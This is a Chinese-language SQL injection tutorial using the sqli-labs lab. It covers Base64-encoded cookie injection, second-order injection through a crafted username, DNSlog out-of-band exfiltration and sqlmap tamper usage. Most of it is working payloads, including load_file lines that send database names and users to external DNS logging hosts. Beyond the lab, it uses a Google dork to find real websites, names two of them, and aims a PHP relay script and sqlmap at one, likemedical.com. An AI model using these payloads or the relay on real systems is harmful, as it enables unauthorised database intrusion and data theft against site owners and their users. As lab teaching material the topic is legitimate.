目录
1. Sqlilabs/less-21: Cookie & 加解密注入
2. Sqlilabs/less-24: POST登陆框 & 二次注入
案例演示
1. Sqlilabs/less-21: Cookie & 加解密注入
尝试登陆 admin admin,抓包:
GET /Less-21/index.php HTTP/1.1 Host: 127.0.0.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90" sec-ch-ua-mobile: ?0 Referer: http://127.0.0.1/Less-21/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: uname=YWRtaW4%3D Connection: close
'%3D' 在URL编码中是 ‘=’。
BurpSuite 有解码插件,把 %3D 换成 = 号后选择Decode as Base64:
发送语句看页面回显结果:
实际情况中需要测试注入点,本题白盒测试默认已知为Cookie注入,注入点为 uname。有编码的情况下需要对注入语句进行对应编码。
把注入语句进行Base64编码后在Repeater内拼接到Cookie字段进行发送查看返回页面:
Cookie: uname=admin' and 1=1 Cookie: uname=YWRtaW4nIGFuZCAxPTE=
获取数据库名称,注入语句:
Cookie: uname=admin' or updatexml(1,concat(0x7e,(database())),0) or ' Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSksMCkgb3IgJw==
后续猜版本、猜表、猜列、……常规操作。
真实网站Base64加密实例:谷歌搜索 inurl:?id=MQ==
https://chm.iiserb.ac.in/faculty_ profile.php?id=MQ==&lname=YW5rdXJn
这样的网站如果有注入点,靠单纯拼接 and 1=1 是测试不出的。需要拼接注入语句再整体进行相应的编码/加密才能被后端解密、接受数据、进行处理。
2. Sqlilabs/less-24: POST登陆框 & 二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。二次注入一般用于代码审计、白盒测试中,黑盒测试一般无法通过手工测试找到注入点,就算找到注入也没办法攻击。
以 Sqlilabs/less-24 为例。
二次注入一般发生在这种有登陆、注册、忘记密码功能的应用场景。
以 admin admin 登陆:
POST /Less-24/login.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 52 Cache-Control: max-age=0 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1/Less-24/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=olepm3lahqehrcd4l7fhn3ttk4 Connection: close login_user=admin&login_password=admin&mysubmit=Login
GET /Less-24/logged-in.php HTTP/1.1 Host: 127.0.0.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90" sec-ch-ua-mobile: ?0 Referer: http://127.0.0.1/Less-24/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: Auth=1; PHPSESSID=olepm3lahqehrcd4l7fhn3ttk4 Connection: close
mysql> use security; Database changed mysql> show tables; +--------------------+ | Tables_in_security | +--------------------+ | emails | | referers | | uagents | | users | +--------------------+ 4 rows in set (0.01 sec) mysql> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +----+----------+------------+ 13 rows in set (0.00 sec)
注册:用户名 admin'# 密码123456
POST /Less-24/login_create.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 71 Cache-Control: max-age=0 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1/Less-24/new_user.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=olepm3lahqehrcd4l7fhn3ttk4 Connection: close username=admin%27%23&password=123456&re_password=123456&submit=Register
mysql> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 15 | admin'# | 123456 | +----+----------+------------+ 14 rows in set (0.01 sec)
修改密码为 xxxxxx,按理说变动的应该是 admin'# 的密码,但 admin 的密码被修改了。
mysql> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | xxxxxx | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 15 | admin'# | 123456 | +----+----------+------------+ 14 rows in set (0.01 sec)
源码中有关密码更新的语句为:
if($pass==$re_pass) { $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( '); $row = mysql_affected_rows(); echo '<font size="3" color="#FFFF00">'; echo '<center>'; if($row==1) { echo "Password successfully updated"; }
新创建的用户名 admin'# 拼接到 UPDATE 语句并执行,形成二次注入。
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
同理,新创建的用户名(二次注入的药引子)可以为任何注入语句。比如前一讲提到的各种报错注入、函数结合注入等。
当然实战会存在各种长度限制:
- 前端长度限制(如HTML长度限制)是可以修改网页信息、拦截数据包绕过的。
- 后端长度限制,具体问题具体讨论。
- sql语句也做了长度限制的话没办法了。
二次注入很难通过工具或人工探测到,普遍产生在代码审计中。
网上可以搜到的二次注入漏洞都是白盒测试,有源码的情况下挖出的漏洞。
3. DNSlog注入
还是以 sqli-labs/Less-9 为例。
参考 CEYE - Monitor service for security testing
注册成功后会给一个 Identifier 和 API Token,目前主要用 Identifier 即可。
DNSlog注入也称为dns带外查询,可以通过查询相应的dns解析记录来获取想要的数据。
在无法通过联合查询直接获取数据时,只能通过盲注一步步的获取数据,手工测试需要花费大量的时间,使用sqlmap等工具有很大的几率被封IP。
DNSlog注入属于Mysql注入,在MySQL中有系统属性,secure_file_priv特性,有三种状态:
mysql> show variables like'%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | | +------------------+-------+ 2 rows in set (0.03 sec)
secure_file_priv null:表示不允许导入导出 指定文件夹时:表示mysql的导入导出只能发生在指定的文件夹 没有设置:表示没有任何限制
load_file() 函数读取一个文件并将其内容作为字符串返回。该函数不仅能加载本地文件,同时也能对URL发起请求。使用 load_file() 函数需要root权限,并且 secure_file_priv 需要为空。并且服务器要为
Windows
操作系统。注入语句:
# 查询当前用户名 ?id=1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+ # 查看当前数据库名 ?id=1' and (select load_file(concat('\\\\',(select database()),'.682y4b.dnslog.cn/abc'))) --+ select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.73024r.ceye.io\\abc'))),1,0);
'\'在sql语句中要转义,"\\\\"转义后变成"\\" \\root.fqg2xn.dnslog.cn
通过 concat() 函数将查询结果和api的地址进行拼接,形成一个四级域名,然后通过load_file()函数将域名进行dns解析,然后就可以在dns平台进行查看了。
查看DNS解析日志顺利查询到数据库版本。
手工操作比较复杂,实用工具: GitHub - ADOOO/DnslogSqlinj
需要 Python2 环境,在 config.py 中配置好自己在ceye.io的 APItoken 和 DNSurl。用法:
dnslogSql.py -u "http://127.0.0.1/sqli-labs/less-9/?id=1' and ({})--+"
4. 加解密/编码注入
某些工具有集成的现成插件,如sqlmap的base64插件:
sqlmap -u "http://127.0.0.1/sqli-labs/less-9/?id=1" --tamper base64encode.py -dbs
sqlmap有许多强力插件,在目录 sqlmap/tamper 下。使用方法:--tamper "指定使用脚本"
如果现成脚本无法满足需求,需要使用者有二次开发的能力。
假设没有 base64 脚本插件,又不想手工注入,接下来我们写一个脚本完成所需功能:
<?php $url='http://www.likemedical.com/About.php?ID=MQ=='; $result=file_get_contents($url); echo $result; ?>
访问 127.0.0.1:8080/test.php :
相当于把网页拖了过来。
<?php $url='http://www.likemedical.com/About.php?ID=MQ=='; $payload=base64_encode($_GET['x']); file_get_contents($url . $payload); ?>
再用sqlmap:
sqlmap -u "http://127.0.0.1:8080/test.php?x=" -v 3
注入语句就全部写到x后面。脚本接收到x,经过base64加密再拼接。达到中转的目的。